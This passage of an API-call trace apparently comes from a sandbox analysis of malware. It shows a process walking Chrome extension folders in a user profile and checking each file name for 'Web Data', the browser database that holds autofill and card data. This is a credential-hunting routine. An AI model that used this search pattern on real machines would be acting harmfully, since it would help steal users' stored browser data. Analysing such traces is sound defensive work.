IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi" [0056.196] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*" [0056.196] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.196] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.196] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.196] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.196] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.196] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.196] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.196] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.196] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.196] LocalFree (hMem=0x2daca0) returned 0x0 [0056.196] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.196] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.196] lstrcmpiA (lpString1=".", lpString2="zh_CN") returned -1 [0056.197] lstrcmpiA (lpString1="..", lpString2="zh_CN") returned -1 [0056.197] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.197] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.197] lstrlenA (lpString="\\") returned 1 [0056.197] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.197] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.197] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.197] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.197] lstrlenA (lpString="zh_CN") returned 5 [0056.197] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dadb0 [0056.197] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.197] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN" [0056.197] LocalFree (hMem=0x2daca0) returned 0x0 [0056.197] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN") returned 134 [0056.197] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN") returned 134 [0056.197] lstrlenA (lpString="\\*.*") returned 4 [0056.197] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2daec0 [0056.197] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN" [0056.197] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*" [0056.197] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.197] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.197] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.197] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.197] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.197] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.197] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.197] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.197] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.197] LocalFree (hMem=0x2daec0) returned 0x0 [0056.197] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.197] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.197] lstrcmpiA (lpString1=".", lpString2="zh_TW") returned -1 [0056.197] lstrcmpiA (lpString1="..", lpString2="zh_TW") returned -1 [0056.197] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.197] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.197] lstrlenA (lpString="\\") returned 1 [0056.197] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.197] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.197] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.197] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.197] lstrlenA (lpString="zh_TW") returned 5 [0056.197] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dadb0 [0056.197] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.197] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW" [0056.197] LocalFree (hMem=0x2daca0) returned 0x0 [0056.197] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW") returned 134 [0056.197] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW") returned 134 [0056.198] lstrlenA (lpString="\\*.*") returned 4 [0056.198] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2daec0 [0056.198] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW" [0056.198] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*" [0056.198] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.198] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.198] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.198] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.198] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.198] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.198] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.198] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.198] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.198] LocalFree (hMem=0x2daec0) returned 0x0 [0056.198] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.198] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.198] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.198] LocalFree (hMem=0x2d9b88) returned 0x0 [0056.198] LocalFree (hMem=0x2deed8) returned 0x0 [0056.198] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.198] lstrcmpiA (lpString1=".", lpString2="_metadata") returned -1 [0056.198] lstrcmpiA (lpString1="..", lpString2="_metadata") returned -1 [0056.198] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned 119 [0056.198] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned 119 [0056.198] lstrlenA (lpString="\\") returned 1 [0056.198] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x2dedd0 [0056.198] lstrcpyA (in: lpString1=0x2dedd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0056.198] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0056.198] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned 120 [0056.198] lstrlenA (lpString="_metadata") returned 9 [0056.198] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2deed8 [0056.198] lstrcpyA (in: lpString1=0x2deed8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0056.198] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\", lpString2="_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata" [0056.198] LocalFree (hMem=0x2dedd0) returned 0x0 [0056.198] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata") returned 129 [0056.198] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata") returned 129 [0056.198] lstrlenA (lpString="\\*.*") returned 4 [0056.198] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2d9b88 [0056.198] lstrcpyA (in: lpString1=0x2d9b88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata" [0056.198] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*" [0056.198] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.199] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.199] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.199] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.199] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.199] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.199] StrStrIA (lpFirst="computed_hashes.json", lpSrch="Web Data") returned 0x0 [0056.199] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.199] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0056.199] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.199] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.199] LocalFree (hMem=0x2d9b88) returned 0x0 [0056.199] LocalFree (hMem=0x2deed8) returned 0x0 [0056.199] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0 [0056.199] FindClose (in: hFindFile=0x2dc838 | out: hFindFile=0x2dc838) returned 1 [0056.199] LocalFree (hMem=0x2decc8) returned 0x0 [0056.199] LocalFree (hMem=0x2debc8) returned 0x0 [0056.199] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0 [0056.199] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.199] LocalFree (hMem=0x2dd9c0) returned 0x0 [0056.199] LocalFree (hMem=0x2dd8c0) returned 0x0 [0056.199] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.199] lstrcmpiA (lpString1=".", lpString2="apdfllckaahabafndbhieahigkjlhalf") returned -1 [0056.199] lstrcmpiA (lpString1="..", lpString2="apdfllckaahabafndbhieahigkjlhalf") returned -1 [0056.199] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.199] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.199] lstrlenA (lpString="\\") returned 1 [0056.199] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x2dd7e0 [0056.199] lstrcpyA (in: lpString1=0x2dd7e0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0056.199] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.199] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned 81 [0056.199] lstrlenA (lpString="apdfllckaahabafndbhieahigkjlhalf") returned 32 [0056.199] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x2dd8c0 [0056.199] lstrcpyA (in: lpString1=0x2dd8c0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.199] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="apdfllckaahabafndbhieahigkjlhalf" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" [0056.199] LocalFree (hMem=0x2dd7e0) returned 0x0 [0056.199] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned 113 [0056.199] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned 113 [0056.199] lstrlenA (lpString="\\*.*") returned 4 [0056.199] LocalAlloc (uFlags=0x40, uBytes=0xf6) returned 0x2dd9c0 [0056.199] lstrcpyA (in: lpString1=0x2dd9c0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" [0056.199] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*" [0056.199] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*", lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0x2dc7f8 [0056.200] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.200] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.200] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.200] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.200] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.200] lstrcmpiA (lpString1=".", lpString2="14.1_0") returned -1 [0056.200] lstrcmpiA (lpString1="..", lpString2="14.1_0") returned -1 [0056.200] lstrlenA (lpString="C:\\Users\\aDU0VK 